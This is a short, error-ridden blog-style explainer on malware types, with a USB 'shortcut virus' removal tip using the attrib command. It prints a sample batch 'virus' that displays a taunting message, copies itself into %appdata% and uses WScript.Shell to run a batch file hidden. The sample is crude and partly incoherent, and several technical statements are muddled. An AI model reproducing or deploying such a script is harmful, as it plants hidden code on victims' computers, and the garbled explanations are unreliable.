we often hear a word in computer environment,What does virus really mean?. Virus is
also the program file which cause damage for your computer.It also written in some languages like c,c++ or java.In fact virus is not the correct word to mention these programs because malware is
the correct word to represent these harmful program file,because virus is the one type of malware.its not a comman word.
Types of malwares
1) virus
2) torzons
3) worms
where virus is not capable of executing themselves.It will execute only when user initiate it.But worms can able to copy themselves without
user interface.Torzons are mainly developed for theft the sensitive details like passwords.
Example of virus coding
@echo off
color 1a
title @VIRUS = HR
echo YOU ARE A FOOL!!
pause
(echo Set WshShell = CreateObject^("WScript.Shell"^)
echo WshShell.Run chr^(34^) ^& "%appdata%\vol.bat" ^& Chr^(34^), 0
echo Set WshShell = Nothing)
copy movie.bat %appdata%
The above coding is example of movie.bat batch file virus which slow down your computer automatically and
pops up a unwanted masseges in the screen.
When shorucut virus entered inside your computer it hides some folders and files in your computer and make them shortcut it a type of worms which can cabable of copying themselves automatically to any removable disks like pendrive.It uses this way to speard to one computer to another,affect the computer when we insert the pendrive with these virus.
STEPS:
1) open run pormpt by clicking the windows key and R key at a time
2) Then type cmd and click ok
3) Command prompt will open then type the following command attrib -h -s -r /s /d G:/*.*nate here g: is the colon name of the pendrive
it may vary according to youe computer.
4) Then go to pendrive you may see all files will come back again
5)Delete any shortcut exists in the pendrive
This method works only when the pendrive consists of these type of virus.If your computer itself affeted by the
shortcut virus use any free antivirus to clear it.we reommended the smadav,malwarebites to clear these virus and these anitivirus are
free for use
